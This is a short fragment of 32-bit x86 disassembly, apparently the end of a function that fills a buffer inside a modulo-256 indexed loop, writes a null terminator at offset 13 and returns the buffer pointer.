mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001147c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10011439
mov eax, 1
imul ecx, eax, 0xd
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4